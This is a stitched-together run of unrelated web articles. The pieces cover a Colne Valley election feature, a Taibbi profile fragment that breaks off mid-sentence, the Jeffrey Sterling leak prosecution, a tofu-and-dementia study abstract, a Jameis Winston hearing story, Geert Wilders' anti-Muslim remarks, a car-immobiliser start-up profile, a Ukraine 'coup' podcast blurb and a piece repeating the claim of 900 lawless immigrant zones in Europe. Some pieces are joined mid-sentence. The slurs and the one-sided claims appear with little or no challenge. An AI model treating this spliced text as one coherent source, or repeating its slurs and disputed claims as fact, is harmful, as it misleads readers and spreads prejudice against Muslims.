Meanwhile, people in the Colne Valley are still struggling to understand what happened on June 8. “It’s probably the most complicated political time that I’ve experienced,” said Victoria Minton, a Labour supporter and veteran of many local campaigns. Sitting in her sun-drenched kitchen, with the latest copy of the London Review of Books on the table, she gave the impression that endless cups of tea and debate would still not allow her to make sense of “the different strands of why people voted the way they did”.
Of Mr McCartney, she said: “He was popular in terms of looking after the constituency.”
—
Thelma and Rob Walker met 35 years ago when they were both teaching at the same school near Manchester. They were flying home from an Easter vacation in Italy when Mrs May surprised the country by calling a snap election. Switching on their phones, they discovered a queue of messages from friends and Labour party members asking whether Mrs Walker would stand.
“We thought: What’s happening?” she recalled.
A former headteacher of two local schools, Mrs Walker was well-liked and well-known by generations of pupils and their parents.
The centre of Holmfirth, a small town in the Colne Valley constituency © Lorne Campbell/Guzelian
Still, the oddsmakers gave Mr McCartney a 99 per cent chance of holding his seat and expanding the 5,378 majority he won two years earlier. In a sign of the Tories’ intent to dominate the area, Mrs May chose nearby Halifax to unveil her manifesto. So hopeless seemed Mrs Walker’s cause that some friends confessed to feeling they should abandon her to campaign for other Labour candidates who might actually have a chance.
One supporter, Hester Dunlop, a GP, had not planned on even opening the Red & Green Club, a left-of-centre club, for election night. But two days before the vote, Mrs Walker’s agent called up and suggested she do so. It was the first hint that they might be in for a surprise.
“We were all in a state of shock when she won, to be fair,” Ms Dunlop said.
—
Colne Valley has experienced political upsets before: In 1907, a fierce young orator and working-class champion named Victor Grayson stunned the nation when he won a by-election to enter parliament, becoming one of the first socialist MPs. He disappeared 13 years later under mysterious circumstances.
A century before that, Colne Valley was a hotbed of the Luddites — skilled handloom workers who destroyed machinery in the area’s thriving textile mills. Some were locked up in a grand but now derelict building in Milnsbridge — near the Red & Green Club — for the murder of a local mill owner. They were hanged in York in 1813.
“The valley still echoes with the clang of Luddite hammers on the labour-saving machinery; with the stealthy tread of long-dead men on the way to illegal trade union assemblies on the moors,” Reg Groves wrote in his 1975 book The Strange Case of Victor Grayson.
If you’re angry with the government who would you go to? Probably Corbyn. Because he’s angry as well
Still, the Colne Valley was less fertile for organised labour than other parts of the industrial north. That is in part due to geography: its hills and valleys tend to isolate nearby communities from one another. It may also be because textile workers were traditionally paid by the item, making collective contracts less appealing.
“It’s small-time chapel thinking — there aren’t big movements here,” explained Mrs Minton, who moved to the Colne Valley 38 years ago, and consequently, is still regarded by locals as a “comer-in.”
The parliamentary constituency has historically been a toss-up between Liberals, Labour and the Conservatives. One person described the Liberals as a comfortable fit between socialism and the “ownership class”.
It is more diverse than it might seem, stretching from the edge of Huddersfield, a city that endured the decline in textiles better than others because it specialised in high-quality cloth, to bleak and windswept moors.
A pocket of the constituency is heavily inhabited by Kashmiri immigrants and their descendants, and has struggled with integration. At the same time an influx of wealthy commuters who work in Leeds and Manchester is pushing up house prices in idyllic villages like Slaithwaite (pronounced “Slowit” by the locals) and sprouting urban accoutrements like gourmet coffee and yoga. The fast-growing Huddersfield University has brought students and public-sector jobs.
“It’s a bit of a microcosm of the country, really,” Mrs Walker said. “Some people are doing pretty well working within certain elements of the private sector... But then a lot of people are struggling, really.”
Sipping a coffee in the atrium at Portcullis House, the Westminster building where MPs have their offices, Mrs Walker confessed she was still learning the basics: how to get picked to ask a question during a debate; to remember to nod to the speaker upon leaving the chamber. Still, she does not appear easily daunted. “Would it be arrogant if I said I thought I could win?” she asked, reflecting on the campaign.
As a teacher at all levels of education — from primary school to university — she had watched the way that MPs changed policies, often with little real-world experience of them. “Nothing embeds,” she complained. A particular source of irritation is the way the Conservatives dropped Labour’s “Every Child Matters” education programme when they came into power just as she saw it beginning to work.
“The public are jaded with spin,” she told me. “They’re wanting authenticity.”
Even after Labour’s defeat in the 2015 election, there were reasons for optimism for those who looked closely enough: Its Colne Valley membership more than doubled — many of them younger voters. A year later, Mr Walker succeeded at becoming Slaithwaite’s first Labour member of the district council since 1980. For those seeking authenticity, Mrs Walker was rooted in the community — not parachuted in from afar like the party’s previous candidate.
Above all, though, immigration and Brexit no longer seemed to be the dominant issues for many voters, as the Walkers discovered on the doorstep. Instead, it was austerity and cuts to local services, the ground on which Labour wanted to fight.
“The Conservatives made it out to be a Brexit election — it wasn’t in the Colne Valley,” she said.
“It was shifting,” Mr Walker agreed, adding: “There is a view that austerity is just an endless downward spiral. If you live in Surrey versus a Yorkshire valley it’s quite different and I think people have become angry about that.”
Much of their anger settled on Huddersfield Royal Infirmary, and a plan announced last year to close its accident and emergency department and shift the service to a hospital five miles away in Halifax. The plan is an attempt to plug an annual healthcare deficit that reached nearly £30m in 2015. Many in the valley believe Huddersfield is being sacrificed only because the rival hospital, Calderdale Royal, was built through a private finance initiative — or PFI — and needed more patients to service its enormous debts.
“Quite a lot of people became politicised,” said Mrs Dunlop, who joined a campaign to save the Huddersfield hospital. As a doctor, she described the NHS’s deterioration as “like watching a huge great cathedral being pulled apart brick by brick.”
Even before, many had begun organising over talk that one of Slaithwaite’s two local surgeries was to be closed. They took to Facebook, where a campaign group formed to save the hospital, drawing in folks Mrs Dunlop had not previously considered political, particularly women. “Lots of women stepped up,” she recalled.
Mr McCartney did, too. He raised the issue in parliament and helped the campaign group collect petitions. Still, he became a target as Labour relentlessly linked the Huddersfield A&E to the Conservative government’s austerity policies. It did not seem to matter that Labour had been a big supporter of PFI deals under Tony Blair after he became prime minister in 1997. “This is a national issue. It’s about problems of funding,” Mr Walker explained, calling the NHS “the key issue” in the campaign.
The Huddersfield Facebook group backed Mrs Walker, who in the waning days of the campaign promised that a vote for her would help save the hospital — a promise that some believe was simplistic.
“There’s no easy solution and I don’t think Labour will say there is,” Mrs Walker acknowledged. But her opponent, she argued, had erred in thinking it was enough to be an affable presence at local events when the community wanted someone in Westminster to fight government policy. “People became aware of his voting record down here,” she said.
—
Mr McCartney says he never believed the Conservative landslide predictions. In fact, months earlier, when Mrs May was seeking his support in the party leadership contest, he claims to have warned her against calling an early election. He sensed growing unhappiness with schools and hospitals among his constituents and believed the party needed to demonstrate it was addressing these issues before going to the voters.
Now 49, Mr McCartney built his political persona as a mild-mannered pragmatist rather than an ideologue. He skipped university and instead served in the Royal Air Force in Iraq and Afghanistan. He has the likeability of a television journalist, which he once was. He was a Liberal Democrat briefly before joining the Conservatives.
Labour leader Jeremy Corbyn was forced to use a handheld megaphone to address the crowd when he visited Beaumont Park in Huddersfield © Getty
If he was nervous about the election, his sense of gloom deepened after Mrs May visited the area in mid-May to unveil the manifesto. Her arrival should have energised the campaign. Instead, it showed the radicalising effect of the hospital campaign as gangs of angry protesters confronted the prime minister’s campaign bus in Halifax.
Mrs May compounded the error by later telling the Huddersfield Examiner that the discontent over the hospital closure was “scaremongering” — a remark that undermined Mr McCartney. “That went down like a lead zeppelin,” Mrs Walker recalled.
By contrast, Mr Corbyn received an unexpectedly warm welcome when he visited Beaumont Park in Huddersfield two days earlier, with Mrs Walker at his side. The microphones failed and so the Labour leader was forced to use a handheld megaphone to address the crowd — which only seemed to enhance his charm.
In the end, Mr McCartney’s vote rose to 27,903, a 1.7 per cent increase from 2015. But Mrs Walker swelled Labour’s vote nearly 13 per cent to 28,818.
With such a narrow margin, all groups were pivotal. The Crosland Moors neighbourhood that is heavily Muslim supported Mrs Walker nearly unanimously, repaying her repeated visits to the community — both before and after a terror attack in nearby Manchester by a suspected Islamist extremist set locals on edge.
“People felt they could connect with her. She’s a former headteacher,” said Mohammed Imran, 39, a volunteer at a local mosque. Politicians returning from London tend to seem out of place when they arrive in their local constituency, he observed. “The feeling you get with Thelma is the opposite.”
Undoubtedly, a key demographic was the 10 per cent of Colne Valley voters who in 2015 supported the UK Independence party (Ukip), which advocates Britain’s departure from the EU. The party has been imploding ever since its success in the referendum on leaving the EU in June 2016, and did not even field a candidate in Colne Valley this time, apparently not wanting to siphon support from Mr McCartney, who supported Brexit. Many of its voters joined him, it seems, but not as many as hoped.
“If you’re angry with the government who would you go to?” Mr McCartney asked. “Probably Corbyn. Because he’s angry as well.”
Mr McCartney appears to have come to terms with his defeat, mostly. “I’m proud. My vote went up,” he said at one point. But there is one element of the campaign that has left him bitter: the use of social media.
Far from drawing in enthusiastic new voices and rejuvenating local democracy, Mr McCartney believes it became a vehicle for hard-left activists to demonise him.
He produced his smartphone, showing a series of memes featuring him — some twisting his positions; some simply abusive. Anything positive that might be said about him on Twitter, he noted, was instantly attacked by dozens of trolls. “There’s an army of leftwing activists and sympathisers using it very effectively, sometimes to distort things,” he complained.
At hustings he was routinely heckled as soon as he opened his mouth. His signs were vandalised. “It’s Corbynite politics,” he said. “For all his talk of kinder, gentler politics, he’s stirring it up.”
The result, Mr McCartney argued, is that it was becoming harder to have a reasoned debate about issues like the hospital crisis that requires more than 140 characters. The PFI background to the local hospital crisis “takes a minute to explain — Labour just says: ‘Tory cuts!’” he shrugged.
“Across the world now — whether it’s France or Germany or even the US — it’s hard [for politicians] to make tough choices,” Mr McCartney despaired. “I’m worried where it’s going.”
Edward Kaye, an 18-year-old student, worked on Thelma Walker’s social media campaign: ‘Stale press conferences … are not the way to do things any more’ © Lorne Campbell/Guzelian
Most local Labour party members — but not all — reject Mr McCartney’s charges. The Tories ran a nasty campaign, too, they complain — aided and abetted by a tabloid media that has delighted in savaging Mr Corbyn. Still, they acknowledge that it is a fact of social media that it cannot be controlled.
Yet even if Mr McCartney’s complaint is correct, it misses a separate truth: that the Conservatives may have lost sight of how to use social media as a campaign tool.
Edward Kaye, an 18-year-old student who helped the Walker campaign, was particularly surprised by the Conservatives’ tendency to broadcast professional-looking adverts on their official social media accounts. “People just didn’t respond well to that,” Mr Kaye said.
By contrast, Labour supporters took smartphone video and other amateur clips and posted them directly on people’s timelines so that they could share and re-share them in a more natural way. “Our organic shares were the most important part of what we did,” he explained, noting that a single clip racked up 200,000 views. “We didn’t pay a cent for it.”
Mr Corbyn — a candidate who advocates dated socialist ideas about centralising control of the economy — turned out to be an unexpected object of inspiration for a hands-off, user-generated campaign. “He’s kind of a blank canvas to paint different types of politics on,” said Mr Mycock, the academic. “Different people saw different things in him.”
In the provinces, politics is something that’s done to people
With seemingly little to lose, the Labour party “kind of let a thousand flowers bloom”, he said.
For young, university-bound voters such as Mr Kaye, one of Mr Corbyn’s biggest appeals is supposed to be the promise of free tuition. As it turns out, Mr Kaye does not agree with it — but he does not terribly mind it, either. “Older people are bribed at every election,” he shrugged.
Instead, he appreciated the way the Labour leader had managed to cut through a tired political process. “He has hit on something in politics,” he said. “Gone are the days of stale press conferences with scripted questions and answers... It’s not the way to do things any more.”
—
That yearning for authenticity is not limited to young Corbynites in Colne Valley. A 40-something Ukip supporter expressed a similar sentiment.
“The only two politicians I could vote for was Nigel Farage and Jeremy Corbyn,” he told me. “Why? Because I believe them.”
He wondered why the mainstream parties were needed at all in an age of the smartphone. Why not just put things directly to the voters through a series of referendums, such as in Switzerland? Why not allow citizens to serve as MPs at random, as if selected for jury duty?
“The party system is not fit for purpose,” he concluded. “Well, it is fit for purpose: to maintain the status quo.”
To frustrated voters in Colne Valley, that status quo includes the disastrous Iraq war, a parliamentary expenses scandal that showed the division between politicians and the people, the 2008 financial crisis and the subsequent years of austerity.
“The expenses scandal, in particular — in which MPs were discovered to be charging such things as the cleaning of a moat on a private estate and the building of a duck house — clarified the division between “us and them,” said David Brook, 55, who was raised in the Colne Valley village of Golcar.
David Brook, 55, owner of The Swan pub in Slaithwaite: ‘The referendum is the great hand grenade that’s thrown all the pieces up in the air,’ he said. © Darren O'Brien/Guzelian
The first member of his family to attend university, Mr Brook’s life changed after a US venture capital firm bought out the equestrian outfitter where he was chief financial officer. He now devotes much of his time to restoring The Swan pub he bought beside his home — something, he quips, that is a matter of “civic duty”.
If fluid, unaligned voters are the future, then Mr Brook may be ahead of his time. Over the years he has supported Margaret Thatcher, who he praised as “transformative”, Mr Blair, who he deemed a “breath of fresh air”, and then David Cameron because the Labour government had “run out of ideas”. In 2015, he turned to Ukip, and then voted for Brexit during last year’s EU referendum.
“The referendum is the great hand grenade that’s thrown all the pieces up in the air,” he observed.
Richard Brown, who has worked in the valley all his life and, at 63, now owns one of its last working textile mills, also voted for Brexit, in part because he believes the EU is corrupt.
“I’m one of the ignoramuses from the north of England, one of the great unwashed,” he said with a wry smile. Later he expressed the locals’ detachment from Westminster, telling me: “In the provinces, politics is something that’s done to people.”
The subsequent drop in the pound has given an unexpected boost to Mr Brown’s mill, Spectrum Yarns, which is now booked with work until Christmas. Still, he has the apprehension of an industrialist at a time when workers are being told the bosses are the enemy. More than anything, he seems to crave stability so that he can make plans.
Richard Brown, 63, textile mill owner: ‘I’m one of the ignoramuses from the north of England, one of the great unwashed’ © Darren O'Brien/Guzelian
“[Brexit] was a vote against the political system because a lot of people think they’re ignored by the political class. Jeremy [Corbyn’s] genius is to make them think they’re not,” Mr Brown said. Then he added: “His great weakness is he can’t deliver.”
The problem with young people, he complained, was that they did not remember the 1970s.
In June, Mr Brook decided to return to the Conservatives after undertaking an unusual exercise: reading each of the major party’s manifestos and taking them, more or less, at their word.
“There’s no question he’s a man of principle. He’s stuck by his beliefs since the 1970s,” he said of Mr Corbyn. While he agrees with the Labour leader that voters — particularly in the north — have been ground down by years of austerity he simply does not trust the party to provide the remedy.
Mr Brook was also offended by a promise to save the local hospital he does not believe Mrs Walker could ever fulfil. “It was a lie — a blatant lie to the people of the Colne Valley. And shamefully, it worked,” he said.
So where will Mr Brook and the Colne Valley head next in their political journey? Where will the nation? He did not seem to know for sure. Ukip could return, he predicted, citizens could take to the streets “with garden spades” if the Brexit vote is not respected. Equally, Brexit could mean more austerity, and so an even stronger reaction against austerity.
“The last two-and-a-half years of politics in Britain has been more interesting than at any time in my life,” he said. Then his face lit up: “We’re right in the middle of it. This is still happening!”
Letter in response to this analysis:
It makes sense to extend the two-year timetable as a way out of this debacle / From Stephen McCarthyMatt Taibbi, photographed by Christopher Anderson/Magnum Photos/New York Magazine
Matt Taibbi, the former enfant terrible of political journalism, limps into a cozy diner on Chambers Street, in Tribeca a Russian-style fur cap pulled over his ears, a half-formed apology for his lateness already on his lips. “I am—I must have—did I keep you waiting?”
Informed he is actually seven minutes early, his shoulders slump in relief. “Okay,” the lanky 44-year-old says, with a toothy grin. “Good. You’ll have |
and it described the Merlin program as perhaps “one of the most reckless operations in the modern history of the CIA.” Risen’s book did not identify who his source, or sources, were.
Rizzo, who described the day’s events in his memoir, threw on his clothes and drove into town to get the book from the NSC official, then drove to Langley to share it with senior officials who had been dragged from their homes to figure out what to do. The White House wanted to take the extraordinary step of stopping the book from being published. President Bush’s top lawyer, Harriet Miers, asked Rizzo to call Sumner Redstone, the chairman of Viacom, which owned Simon & Schuster, the book’s publisher. In the end, Rizzo didn’t call Redstone, but he made a mental note to file a crimes report with the Department of Justice; the leaker had to be found.
Within a month, two FBI agents were at Sterling’s house outside St. Louis. They claimed they were concerned that an Iranian was on the loose who might do harm to him. Sterling sensed it was a ruse; he told the FBI agents he’d be able to spot someone following him, particularly an Iranian because there were no Iranians where he lived. The agents then asked if they could come inside and Sterling refused. They had a copy of Risen’s book and asked if he knew about it.
“I was like, ‘I don’t know anything about that book. That was the first I had ever seen of that,’” Sterling told me.
This wasn’t the first time Sterling was questioned by the FBI. Risen had interviewed Sterling in 2002 and published a story about his discrimination lawsuit. The next year, Risen reported a story about the Merlin program, but it wasn’t published. Risen asked the CIA for pre-publication comment on the story and was soon summoned to the White House, along with his editor. They were told by then-National Security Adviser Condoleeza Rice that the story, if published, would reveal a valuable covert program and could cost lives. The Times decided to kill it.
The Justice Department launched a criminal investigation in 2003 and FBI agents questioned Sterling that year. However, until the agents showed up at his doorstep in 2006 with Risen’s book, Sterling thought his struggles with the government were behind him.
After that visit, Holly was subpoenaed to testify before a grand jury. She was questioned for seven hours at FBI headquarters in Washington and, she told me, the next day she spent three hours before the grand jury in Alexandria, Virginia. When she returned to St. Louis, she got a call from her lawyer, who said the FBI was coming to search her home. More than a dozen agents soon showed up to confiscate some of the couple’s belongings.
“They left and I had a meltdown,” Holly said during lunch at a pub near her home, as easy-listening rock music played in the background. “I was sobbing and crying and couldn’t understand this. I attempted to go to work the next day and I just lost it. My boss came to me and she said, ‘You need to leave. I think you are suffering from post-traumatic stress disorder.’”
Then, as mysteriously as it had intruded into their lives, the FBI’s investigation seemed to dissipate. In the fall of 2010, Sterling’s lawyer called him to say the case appeared to be winding down.
O N JANUARY 6, 2011, Sterling was asked to attend a meeting at his office. He was on medical leave after a knee-replacement operation, so he hobbled into work with a cane, and after checking on the mail that had piled up on his desk, a colleague told him the security staff needed to see him because there was a problem with his badge. It was urgent, Sterling was told. When he visited the security staff he was confronted, he says, by several FBI agents and police officers who placed him under arrest. His cane was taken away, his arms were handcuffed behind his back, and he was marched out of the building, limping, as his co-workers gaped. The indictment accused him of leaking to Risen out of “anger and resentment” at the CIA.
The timing of his arrest was unusual. The exchanges between Sterling and Risen began in 2001 and finished in 2005, according to records of their phone calls and emails that were listed in the indictment. Why was Sterling arrested six years after he last communicated with Risen and five years after his home was searched by the FBI? If, as the government claimed, he had caused so much harm, why did prosecutors wait so long to press charges?
The answers appear to be political. Until Barack Obama was elected president, the Department of Justice rarely prosecuted leakers. Obama promised, as a candidate, to create the most transparent administration ever, but he has presided over more leak prosecutions under the Espionage Act than all previous administrations combined. Dennis Blair, the director of national intelligence during Obama’s first term, told the Times that a decision was made in 2009 to “hang an admiral once in a while,” as Blair put it, to show would-be leakers they should not talk to the press. The Justice Department did not charge high-level officials, however; mid-level officials were the principal targets, and it appears that Sterling’s all-but-shut case was brought back to life as part of the crackdown.
Sterling, detained for weeks, became despondent.
“All of it came crashing down on me, sitting in that jail cell,” he said. “So many years, so many struggles, and I had gotten to a point where I had picked myself up and was just moving on. But this behemoth of anger, of retaliation, was having its way. It was an extremely low feeling that I was going through, disbelief, shock.”
He stopped eating until Holly was allowed to visit.
“Just seeing her face shocked me back into knowing that here’s this woman who loves me and she’s been with me through thick and thin,” he said. “I made a promise to her that I would stay alive, I won’t try to hurt myself.”
R ELEASED FROM JAIL, Sterling no longer had a job and could not find a new one, due to the taint of an Espionage Act indictment, and he had to wait four years for his trial to begin. A large part of the delay was due to a legal battle between the prosecution and Risen — the prosecution wanted Risen to name his source, whom the government believed was Sterling, but Risen refused to cooperate, raising the prospect of a journalist going to jail for defying the government. The Obama administration, criticized for violating First Amendment protections, backed off just before the trial began.
On January 13, the trial opened with the lead prosecutor, James Trump, telling the jury that Sterling was a traitor.
“The defendant betrayed his country,” Trump said. “He betrayed his colleagues. He betrayed the CIA and compromised its mission. And most importantly, he betrayed the Russian asset, a man who literally placed his trust and his life into the defendant’s hands.”
Trump addressed the question of motive.
“And why?” he asked. “Anger, bitterness, selfishness. The defendant struck back at the CIA because he thought he had been treated unfairly. He had sued the agency for discrimination and demanded that they pay him $200,000 to settle his claim. When the agency refused, he struck back with the only weapon he had: secrets, the agency’s secrets.”
The government’s case consisted mostly of records of emails and phone calls between Sterling and Risen that began in 2001 and continued into 2005. The emails were very short, just a line or so, and did not reference any CIA programs. The phone calls were mostly short too, some just a few seconds, and the government did not introduce recordings or transcripts of any of them.
Sterling was represented by two lawyers, Edward MacMahon Jr. and Barry Pollack. In his opening statement, MacMahon pointed to the lack of hard evidence against his client.
“Mr. Trump is a fine lawyer,” MacMahon said. “If he had an email with details of these programs or a phone call, you would have heard it, and you’re not going to hear it in this case.… Mr. Trump told you that [Sterling] spoke to Risen. Did you hear where, when, or anything about what happened? No. That’s because there isn’t any such evidence of it whatsoever.… You don’t see a written communication to Mr. Risen from Mr. Sterling about the program at all, no evidence they even met in person.”
After a two-week trial that included some CIA witnesses testifying from behind a screen, so that their identities would not be revealed, the jury convicted Sterling, based on what the judge, Leonie Brinkema, described at the sentencing as “very powerful circumstantial evidence.” She added, “In a perfect world, you’d only have direct evidence, but many times that’s not the case in a criminal case.”
Sterling sat motionless as she explained the reasoning behind the sentence that she was about to announce. I had asked Sterling, when we met in St. Louis, what he expected would happen.
“This process has destroyed a lot of me,” he began, his voice shifting in the halting way that means anguish has broken loose. “The thought that I’m going to be sent to prison, I can’t and haven’t been able to deal with that. I don’t know where to put it or how to deal with it because it doesn’t make any sense. I’m dreading going to jail. Maybe some miracle will happen and I won’t. But I still have to be realistic and prepare for the worst.”
A few minutes before three in the afternoon, Judge Brinkema said that Sterling would go to prison for three and a half years. This was far below the sentencing guidelines — and was seen as a rebuke of the prosecution’s portrayal of Sterling as a traitor who had to be locked away for a long time. But that wasn’t much comfort for Sterling or his wife, because he would nonetheless be locked away. After the hearing ended, Sterling walked to the front row of seats to console his sobbing wife. You could hear her wails in the courtroom.
His lawyers requested that he be allowed to serve his sentence in his home state of Missouri, so that his wife and other family members could easily visit him. Earlier this week, Sterling reported to the prison that was selected for him. It is in Colorado.
Read also:
Video: Peter Maass
Photo: Kevin Wolf/APOBJECTIVE:
To examine associations of midlife tofu consumption with brain function and structural changes in late life.
METHODS:
The design utilized surviving participants of a longitudinal study established in 1965 for research on heart disease, stroke, and cancer. Information on consumption of selected foods was available from standardized interviews conducted 1965-1967 and 1971-1974. A 4-level composite intake index defined "low-low" consumption as fewer than two servings of tofu per week in 1965 and no tofu in the prior week in 1971. Men who reported two or more servings per week at both interviews were defined as "high-high" consumers. Intermediate or less consistent "low" and "high" consumption levels were also defined. Cognitive functioning was tested at the 1991-1993 examination, when participants were aged 71 to 93 years (n = 3734). Brain atrophy was assessed using neuroimage (n = 574) and autopsy (n = 290) information. Cognitive function data were also analyzed for wives of a sample of study participants (n = 502) who had been living with the participants at the time of their dietary interviews.
RESULTS:
Poor cognitive test performance, enlargement of ventricles and low brain weight were each significantly and independently associated with higher midlife tofu consumption. A similar association of midlife tofu intake with poor late life cognitive test scores was also observed among wives of cohort members, using the husband's answers to food frequency questions as proxy for the wife's consumption. Statistically significant associations were consistently demonstrated in linear and logistic multivariate regression models. Odds ratios comparing endpoints among "high-high" with "low-low" consumers were mostly in the range of 1.6 to 2.0.
CONCLUSIONS:
In this population, higher midlife tofu consumption was independently associated with indicators of cognitive impairment and brain atrophy in late life.TALLAHASSEE, Fla. -- Florida State quarterback Jameis Winston was cleared Sunday of the accusations he faced at a student code of conduct hearing involving an alleged sexual assault two years ago.
Former Florida Supreme Court Justice Major Harding wrote in a letter to Winston that the evidence was "insufficient to satisfy the burden of proof." Prosecutor Willie Meggs made a similar decision a year ago when he decided not to criminally charge Winston, citing a lack of evidence.
This month, a two-day hearing was held to determine whether Winston violated four sections of the code of conduct -- two for sexual misconduct and two for endangerment.
Editor's Picks Jameis Winston debate will have no clear ending Perception of favoritism for star player ensures case will have no real ending, Ivan Maisel writes.
Why Jimbo can't quit Jameis To understand Jimbo Fisher's complicated relationship with Jameis Winston, it helps to talk to some Seminoles who have lived with the coach's tough love. 1 Related
The ramifications for Winston ranged from a reprimand to expulsion from school.
The woman can request an appeal within five days.
"We will consider an appeal, but right now we feel a little duped," Baine Kerr, one of the woman's lawyers, said in an emailed statement. "At some point we have to recognize that Florida State is never going to hold [Jameis] Winston responsible."
AP is not identifying the woman because it does not identify people who say they are victims of sexual abuse.
"Somehow Jameis Winston still wins," Kerr said. "The order doesn't even follow the Student Conduct Code, and it ignores the bulk of the evidence."
Kerr said that between his client, Winston, and two teammates who were at the off-campus apartment -- Chris Casher and Ronald Darby -- only the woman would answer questions about what happened.
Winston did submit a lengthy statement during his hearing earlier this month detailing his version of events.
"At some point they will be held accountable, so I have determined that it is in my best interests to exercise my right pursuant to Rule 6C2R-3.004 (6)(d)of the Florida State University Student Code of Conduct and answer questions when experienced lawyers and other experts can assist me in confronting [the accuser's] false accusation and when [the accuser] is subject to the penalty of perjury and other claims for [the accuser] falsely accusing me of rape," Winston said in the statement.
Florida State president John Thrasher said the university selected the former state Supreme Court justice to remove any doubt about the integrity of the process.
"He [Harding] conducted a thorough Student Conduct Code hearing and reviewed more than 1,000 pages of evidence generated by three other investigations, and we would like to thank him sincerely for his service," Thrasher said.
Harding wrote that both sides' versions of the events had strengths and weaknesses, but he did not find the credibility of one "substantially stronger than the other."
"In sum, the preponderance of the evidence has not shown that you are responsible for any of the charged violations of the Code," Harding wrote.
Winston family adviser David Cornwell has contended that attorneys for the former student pushed for the hearing after they were rebuffed in an attempt to reach a settlement with Winston.
Florida State will face Oregon in the College Football Playoff semifinal on Jan. 1. Before the ruling, there were questions whether Winston would be available to play. The Seminoles won a national championship with Winston at the helm last season and have not lost a game since he earned the starting job before the beginning of the 2013 season.
"I feel very happy for him and his family and the people involved with him. Just very happy for them," Florida State coach Jimbo Fisher said after practice Monday. "There was a lot of scrutiny [on Winston]. But I'm glad it's over with and move on."
Florida State is currently being investigated by the Department of Education on how it handles possible Title IX violations. The woman who said Winston assaulted her filed a complaint with the U.S. Department of Education Office for Civil Rights, which decided the university should be investigated for possible Title IX violations over the way it responds to sexual violence complaints.
Title IX is a federal statute that bans discrimination at schools that receive federal funding. The Department of Education in 2011 warned schools of their legal responsibilities to immediately investigate allegations of sexual assault and domestic violence, even if the criminal investigation has not concluded.
The Associated Press contributed to this report.All Muslims should renounce their religion immediately in favour of Christianity or atheism - it would be better for them and for everyone else, controversial Dutch politician Geert Wilders said in Melbourne on Tuesday.
Insisting politely that he did not want to incite or offend anyone, the anti-Islam campaigner described the prophet Muhammad as ''a warlord, terrorist and paedophile'' and urged Australia to ban the Koran and all migration from Muslim countries.
Told that Premier Ted Baillieu had advised Victorians to ignore him, Mr Wilders said the Premier could ignore the threat of Islam and ''sing Kumbaya'' all day long, but the voters would wake up eventually.
Mr Wilders was speaking to the assembled media at a secret location 40 minutes' drive north-west of Melbourne, of which they were notified only in the morning.Our tech start-up of the week is TracknStop, an emerging player in the GPS technology space, which signals the end of the road for car theft.
TracknStop is an Irish company that offers customers a complete solution for vehicle security, combining and utilising high-end GPS technology and highly specialised software.
“The company combines hardware and software to stop a vehicle from being stolen, if it is stolen the vehicle can be stopped regardless of speed or location,” explains co-founder Stephen Kehoe.
Kehoe said the software and hardware is discreetly installed under the dashboard of customers’ cars.
“This is done in conjunction with authorities. However if the car is going below a certain speed you can stop it yourself. TracknStop offers full GPS tracing and pinpoint location accuracy, geo fences and much more.”
The market
Kehoe said that the market that TracknStop is targeting is global because car theft is pretty much a global problem.
“At the moment, we are currently targeting the consumer car market through white label partners.
“We are holding discussions with automobile associations and large scale security companies on three different continents.”
The founders
The TracknStop co-founders and directors have vast experience in a range of different sectors.
Stephen Kehoe has a background in security, IT, tracking and also asset management.
Michael Doherty is the CEO of Medicare and has an honours degree in engineering and pure mathematics.
John Mullins is the CEO of Amerenco and Augmentis and also the ex-CEO of Bord Gais. He has a bachelors and masters degree in electrical engineering.
Francis Murray is the co-founder and marketing executive for Big Dog Digital and Tristan Fagan Guimond is the co-founder and technical director of Big Dog Digital and a technical evangelist.
The technology
Kehoe said that the technology in use is currently patent-pending in the US, Europe and Ireland.
“It basically controls the car through specially designed software and hardware, which can be fitted in half an hour by a qualified fitter. The technology controls the ignition and also the fuel supply through an app or any internet enabled device.
“The goal is for the product to get worldwide recognition as a life saving tool, to be in every car/vehicle in 10 years and for the car manufactures to come on board.
“Currently, we are in closed beta and things are going great. We are speaking to numerous large scale companies over three continents and also a major US distributor.
“We are in the market to raise funds now and to date we have self-funded over €300,000 to date,” Kehoe said.
Room to vroom
Kehoe said that TracknStop has dealt with many challenges along the way.
“For what we want to achieve, the technology has never been used for anything like this before.
“R&D was expensive and self-funded. The trick is to keep on pushing and not to let things deter you. We have been very lucky to have been able to self-fund.”
Kehoe described the start-up scene in Ireland as currently very exciting.
“This country produces some great entrepreneurs but some of the products, including ours may be more applicable for highly populated countries like the US for example.
“We witnessed this first hand at the recent Web Summit Spark of Genius, which we were nominated.”
His advice to other start-ups is to keep pushing. “If it is a good idea now it will always be a good idea.
“Surround yourself with a great team, spend the money wisely if given any. Spend the money, effort and time on the product. The rest will follow.”The Crisis in Ukraine & The Geopolitical Chess Game
May 31, 2014
Paul Craig Roberts has had careers in scholarship and academia, journalism, public service, and business. Roberts is probably best known for being the Assistant Secretary of the US Treasury for Economic Policy in the Reagan Administration. He was associate editor and columnist with the Wall Street Journal, columnist for Business Week and the Scripps Howard News Service. He is a contributing editor to Gerald Celente's Trends Journal. He is the author of numerous books, including his most recent, How America Was Lost: From 9/11 to the Police/Warfare State. He is currently chairman of The Institute for Political Economy. In this program, we discuss the neo-con’s war agenda and how the Ukraine fits into the Wolfowitz doctrine. We talk about the violent Coup d'état in Kiev and who has been the driving factor behind the illegitimate takeover of the country. Paul also discusses the inconsistencies in the various political factions that have been helping each other in order to take control of the Ukraine. Washington’s willingness to work with anyone, including criminals, in order to achieve their goals is no big surprise but is speaks volumes about their ambitions to remain in power. Later, we discuss Putin’s Russia and how vastly different the roles are today, than just 25 years ago and what the grudge between the west’s elite and Russia is about. Paul explains how the USA is losing more and more influence around the world. He paints a picture of no more superpowers and what power dynamic will replace it. Later, we discuss the future of the American dollar, multicultural madness in Europe and the next step in the geopolitical chess game.
More from Guest(s) / Speaker(s)Getty Hungarian Prime Minister says Europe cannot cope with the refugee influx
London, Paris, Stockholm and Berlin are among the major European cities that feature on a bombshell list of 900 lawless zones with large immigrant populations. The shock dossier, released by the Hungarian government, backs up claims made by Donald Trump in December that there are large swathes of Britain and Europe where police are now too afraid to patrol due to radical Islamist extremism. Ministers from the central European nation wrote in their report that authorities had "no control" over residents in these neighbourhoods, adding that the growth of radical Islam is "increasing the terrorist risk and imperilling our culture".
Getty European officials discuss the refugee crisis
Powerful images as migrants protest in Hungary Tue, April 4, 2017 Migrants protest outside Budapest's Keleti Railway Station after it was closed off by police to prevent people travelling on to western Europe Play slideshow REUTERS 1 of 53 A migrant taunts Hungarian riot police as they fire tear gas and water cannon on the Serbian side of the border, near Roszke
